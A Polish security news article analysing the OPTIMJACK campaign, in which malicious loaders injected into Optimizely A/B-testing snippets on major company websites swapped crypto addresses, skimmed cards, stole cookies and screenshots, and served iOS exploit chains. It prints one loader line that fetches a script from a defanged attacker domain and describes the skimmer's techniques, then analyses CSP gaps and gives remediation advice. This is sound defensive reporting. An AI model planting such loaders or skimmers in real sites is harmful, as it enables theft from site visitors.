Akademia NIS2/KSC2 od sekuraka. 19 października start drugiej edycji!
Zobacz nasz aktualny kalendarz szkoleń!
Akademia NIS2/KSC2 od sekuraka. 19 października start drugiej edycji!
Zobacz nasz aktualny kalendarz szkoleń!
O ile podejrzenie wzbudzać mogą małe internetowe witryny, swoim wyglądem przywodzące na myśl lata boomu dotcom, o tyle użytkownicy Internetu raczej nie zakładają złośliwych działań przeprowadzanych przez znane i duże witryny internetowe, za którymi stoją poważne organizacje takie jak GitLab, Salesforce czy HSBC. W poniedziałek 16.11 pojawiła się informacja, że strony dużych graczy zaczęły atakować użytkowników. Źródłem ataków były portale należące między innymi do stacji telewizyjnych CNN i BBC, Zoom, IKEA, Equifax (hello there old friend) czy Air France-KLM. Witryny te serwowały złośliwy kod JavaScript, który podmieniał adresy portfeli kryptowalutowych, skimmował karty płatnicze, wykradał ciasteczka oraz wykonywał zrzuty z ekranu. Analiza wskazała również, że po wykryciu starszych wersji oprogramowania na iPhone oraz iPad, złośliwe skrypty próbowały uruchomić exploit packi na iOS takie jak Coruna czy DarkSword.
Wnikliwe analizy przedstawili Scott Helme oraz StepSecurity. W trakcie trwania incydentu zespół Helme przeanalizował ponad półtora tysiąca snippetów hostowanych przez Optimizely – platformę do prowadzenia testów A/B. Ujawniono 188 złośliwych skryptów należących do 178 organizacji. Kampania została nazwana OPTIMJACK. Wnikliwi czytelnicy zastanowią się zapewne, dlaczego implementacja CSP niewiele tu pomogła – na to pytanie również odpowiemy w dalszej części artykułu.
W 2024 roku opisywaliśmy tani atak na łańcuch dostaw, który dotknął 100000 serwisów. W przypadku PolyfillJS, atakujący podmienili część kodu serwowanego z Content Delivery Network pod adresem cdn.polyfill[.]io. Skrypty te zostały załadowane przez przeglądarki odwiedzających, którzy akurat otwierali strony korzystające z tego CDNa. Atak trywialny w swoich założeniach i łatwy do przeprowadzenia, bo wymagał jedynie podmiany źródeł w CDN po zakupie Polyfill (nabywca przejął prawa do domeny oraz konta na GH, gdzie trzymane były źródła projektu). W przypadku zdarzenia z wczoraj sprawa jest nieco bardziej skomplikowana. Żadnego wrogiego (lub nie) przejęcia firmy trzeciej nie było, atakujący uzyskali możliwość edycji projektów wielu z firm.
Jak działa Optimizely? Optimizely Web to usługa, która pozwala definiować własne testy A/B i wielowariantowe. Dla każdego projektu klient może wygenerować sobie snippet JS, który ładuje trzy rzeczy:
To trzecie pole jest kluczowe, ponieważ z definicji jego działanie opiera się na “odpal mi tu dowolny JS w kontekście mojej domeny”. Ten kod często ładowany jest na podstronach, łącznie z logowaniem i checkoutem. Następnie, tak skonfigurowany i wygenerowany snippet, jest załączany na stronę klienta. Wystarczy do tego użyć jednego tagu script, który wskazuje na źródła znajdujące się na cdn.optimizely[.]com.
Atakujący wykorzystał najprostszy wariant nadużycia tej konfiguracji – podmiana/dodanie własnego loadera do projectJS w wielu projektach niepowiązanych ze sobą klientów. Reszta atrybutów nie została zmieniona wedle wiedzy badaczy. W tym miejscu podkreślamy, że nie był to atak typu cache poisoning czy podmiana pliku na CDN. Klienci otrzymywali poprawne pliki projektów, certyfikaty się zgadzały. Co ciekawe poszkodowani byli też użytkownicy korzystający z opcji “self-hostingu”, który polega na tym, że firma korzystająca z Optimizely stawia reverse proxy i hostuje ze swoich domen skrypty wygenerowane i dostępne cdn.optimizely[.]com. Można np. dodać job CI/skrypt, który będzie regularnie pobierał odświeżone testy z CDNu.
Na ten moment Optimizely potwierdziło wystąpienie podatności i wskazało źródło problemu, który pozwolił atakującym na uzyskanie kontroli nad wpisami projectJS w cudzych projektach, chociaż (póki co) bez szczegółów. Luka miała leżeć w procesie zakładania konta (singup flow) w Optimizely Experimentation.
Firma Report URI natknęła się na anomalię podczas analizy wyników crawlowania. Urlscan snippetu z godziny 02:21 UTC pokazywał niezłośliwą, oryginalną wersję kodu dostarczanego przez Optimizely. Po dokładnie dwóch godzinach pojawiły się pierwsze złośliwe zmiany, Atakujący w sumie podmieniali zawartość ładowanego skryptu 26 razy, dodając kolejne funkcje i adresy portfeli kryptowalut. Flow wyglądał jak iteracyjny development i testy (trochę na produkcji).
Szacowana ekspozycja większości dotkniętych stron to jakieś 16h. Nie wszystkie infekcje udało się rozwiązać błyskawicznie, Smartsheet został po wyczyszczeniu zainfekowany ponownie, lepiej zobfuskowanym i ukrytym loaderem. Może to świadczyć o tym, że atakującego nie udało się wyrzucić z systemów za pierwszym razem w sposób trwały.
Co takiego było w tych loaderach? Zainfekowane snippety, według Report URI, występowały w trzech wariantach. Pierwszy z nich zawierał najprostszy tag <script>, który ładował zewnętrzny kod https[:]//1688360[.]cc/track[.]js. Drugi – równie prosty, pobierał ten sam snippet z tej samej domeny, ale url był zamaskowany przy pomocy base64, co powoduje, że prosty Ctrl+f lub grep nie znajdzie nazwy domenowej. Ostatni payload był dużo bardziej skomplikowany, ponieważ wykonywał operację eval na kodzie payloadu (inline), jeśli domena z pierwszego payloadu była zablokowana.
| var s = document.createElement(‘script’);s.src = ‘https[:]//1688360[.]cc/track.js’;document.head.appendChild(s); |
Listing 1.1 Kod najprostszego payloadu dodawanego przez atakujących.
Konfiguracja serwera 1688360[.]cc ustawiała nagłówek Cache-Control: max-age=15, co pozwalało na szybkie aktualizacje zawartości pliku track[.]js (w przypadku dołożenia nowych adresów portfeli lub dodaniu nowych funkcji, atakujący nie musiał długo czekać, aż przeglądarka użytkownika wyrzuci zawartość poprzedniego skryptu z cache).
Sama zawartość złośliwego skryptu to ponad 30 KB JavaScriptu. Jego pierwotne działanie (w pierwszej wersji) szukało na stronie adresów portfeli BTC, sieci EVM, TRON, Solana, Litecoin, Bitcoin Cash i Dogecoin. Dopasowanie było sprawdzane przy pomocy sumy kontrolnej, żeby nie podmieniać losowych ciągów liczb heksadecymalnych. Podmiana miała następować tylko w pobliżu słów świadczących o wykonywaniu płatności, takich jak wallet czy deposit. Dzięki temu artykuły o kryptowalutach nie traciły sensu (atakujący chcieli pewnie wyrządzić jak najmniej pobocznych szkód, aby atak mógł trwać jak najdłużej).
Celem skryptu był nie tylko tekst strony, ale też pola formularzy, atrybuty, linki, obrazki (w tym kody QR z adresem), zdarzenia copy, API schowka, żądania fetch/XHR, operacje window.open, navigator.share oraz hooki. Widać dobrą znajomość różnych technik u atakujących. Skrypt obsługiwał też SPA, bo po każdej zmianie DOM, strona była ponownie skanowana. W przypadku dokonywania płatności i kopiowania adresu depozytowego np. ze strony giełdy wyłapanie tych zmian było bardzo trudne. No, chyba, że ktoś zweryfikował adres z wartością wyświetlaną na ekranie fizycznego urządzenia. Robi tak każdy, prawda?
Jakby tego było mało, atakujący musieli stwierdzić, że użytkownicy kryptowalut stanowią za wąski cel, dlatego działanie złośliwego skryptu zostało rozszerzone o klasyczny skimmer z rodziny Magecart. Zbierano numery kart przechodzące walidację Luhna, datę ważności oraz CVV. Dane były wysyłane do serwera C&C kryjącego się za tę samą domeną, na której hostowany był złośliwy kod JS. Skimmer nie zbierał takich informacji jak imię czy nazwisko posiadacza ani adresu rozliczeniowego – to trochę dziwne, bo z reguły taki zbiór danych jest wart mniej niż pełne dane posiadacza karty.
Ponadto skrypt nie sięgał do ramek płatności cross-origin, czyli okienek Stripe czy Adyen, a to wszystko za sprawą SOP. Jeśli więc strona zbierała dane przez własny DOM, bo wygląda to ładniej niż iframe operatora płatności – to właśnie z tego powodu była podatna. I jest to w sumie fajna i tania lekcja bezpieczeństwa, którą właściciele stron mogą wyciągnąć już teraz.
Na wstępie wspomnieliśmy, że strona zbierała też ciasteczka i zrzuty z ekranu. To trzeci blok kodu, który pobierał skrypcik html2canvas[.]min[.]js i robił zrzut strony do JPEGa, który był następnie wysyłany do tego samego serwera C&C. Oprócz screenshota wysyłany był też adres URL, zawartość document.cookie i do dwudziestu oryginalnych adresów, które zostały podmienione na stronie. Co ciekawe funkcja ta była aktywowana tylko w pobliżu widocznego elementu adresu. Operacja ta uruchamiała się raz na załadowanie strony. Oczywiście ciasteczka z flagą HttpOnly nie mogły zostać wykradzione, jednak strony SPA trzymają, w czytelnych dla JS, ciasteczkach wiele przydatnych tokenów, które atakujący eksfiltrował.
Na ten moment Report URI zaznacza, że trudno jest ustalić, ile dokładnie jest ofiar tych ataków, bo nie pozostawiają one dostępnych dla postronnego obserwatora metadanych, tak jak to robią transakcje oparte o blockchain.
Na koniec najciekawsze – jeśli nagłówek User-Agent sugerował, że strona została odwiedzona z iPhone’a lub iPada, to ładowane były dodatkowe skrypty, które fingerprintowały wersję systemu i w ukrytym iframe ładowały łańcuchy exploitów odpowiednie dla targetowanych urządzeń. Atakujący posłużyli się znanymi łańcuchami Coruna oraz DarkSword, a dla wersji iOS 26 mieli osobny łańcuch, który na bazie zgromadzonych dowodów dokonywał tylko dalszego fingeprintowania platformy. O Corunie było głośno w marcu tego roku, co opisaliśmy na łamach Sekuraka.
Jeśli chodzi o Content Security Policy, to zespół Report URI przeskanował 256 hostów należących do dotkniętych organizacji. Opublikowane zestawienie wyników obejmuje jednak 159 sklasyfikowanych przypadków. Wśród nich 68 nie miało w ogóle CSP, w 50 polityka pozwalała zarówno na wykonanie złośliwego kodu, jak i eksfiltrację danych, a w kolejnych 17 blokowała eksfiltrację, ale nie samo wykonanie payloadu. Tylko w 24 przypadkach (15%) CSP zablokowało wykonanie złośliwego kodu. Pozostałych 97 hostów nie uwzględniono w przedstawionym podziale.
Głównym problemem był fakt, że samo dopuszczenie cdn.optimizely.com w dyrektywie script-src nie chroniło przed atakiem, ponieważ złośliwy loader znajdował się już wewnątrz zaufanego snippetu Optimizely. Restrykcyjna polityka script-src mogła natomiast zablokować pobranie drugiego etapu ataku z domeny kontrolowanej przez napastnika. Problem pojawiał się przy zastosowaniu strict-dynamic, które pozwala przekazywać zaufanie skryptom dynamicznie ładowanym przez skrypt autoryzowany za pomocą nonce lub hash. W takim przypadku zaufany snippet Optimizely mógł załadować kolejny skrypt z domeny atakującego. Z kolei unsafe-eval, którego stosowanie w określonych konfiguracjach dopuszcza dokumentacja Optimizely, umożliwiało uruchomienie alternatywnego payloadu osadzonego bezpośrednio w kodzie i wykonywanego przez eval(). Taką sytuację zaobserwowano w przypadku HSBC: polityka CSP blokowała pobranie zewnętrznego track.js oraz eksfiltrację danych, ale nie zapobiegła wykonaniu lokalnej kopii złośliwego kodu.
Dyrektywa connect-src, która ograniczała ruch do własnej infrastruktury, zablokowała eksfiltrację danych do serwera C&C na 17 ze zbadanych witryn. Jednak to nie przeszkodziło w lokalnej (bez inicjowania ruchu sieciowego) podmianie adresów płatności.
Na ten moment ciężko stwierdzić ile atakujący zarobili całkowicie na tak szeroko zakrojonej operacji. Na moment powstawania artykułu (17.11 w godzinach wieczornych) Report URI naliczył około 7040 USD w transakcjach, które w ciągu dziewięciu godzin od rozpoczęcia ataku trafiły do portfela atakujących. Ciężko oszacować też wyniki ataków na urządzenia Apple czy dane pozyskane przez skimmery.
Na ten moment, nadal nie wiemy co było realnym źródłem problemu, czy dostęp został faktycznie odcięty i która konkretnie funkcjonalność sign-up dała możliwość wnikania w konfiguracje projektów innych organizacji. Atrybucja tego ataku też jest ciężka do określenia. Przedstawione w źródłach i cytowane w niniejszym artykule wartości co do liczby domen są orientacyjne (tzn. minimalne, nie ma pewności, że wszystkie artefakty zostały uchwycone i przeanalizowane).
Co robić i jak żyć? Jeśli korzystacie z Optimizely Web, to sprawdźcie swoje projekty. Jeśli znajdziecie tam odwołanie do domen (również zakodowanych w base64) lub skryptu inline, którego nie dodawaliście, to znaczy, że możecie mieć problem. Dodatkowa powinna zostać przeprowadzona dogłębna weryfikacja użytkowników i tokenów API oraz integracji na platformie. Wszystko, co nie wygląda znajomo, powinno zostać usunięte. Obecne poświadczenia dobrze jest zrotować.
W obecnej sytuacji najgorzej mają właściciele iOS/iPadOS. Jeśli korzystacie z urządzeń tego producenta, to upewnijcie się, że macie aktualny system. Jeśli odwiedziliście te strony z niezałatanego urządzenia, należy je traktować jako przejęte. To zalecenie wynika ze zdroworozsądkowego spojrzenia na bezpieczeństwo, mimo że cytowane przez nas materiały nie opisują skutecznych przypadków przejęcia urządzeń Apple podczas tej kampanii.
Dobrze jest też zweryfikować historię płatności.
~BLH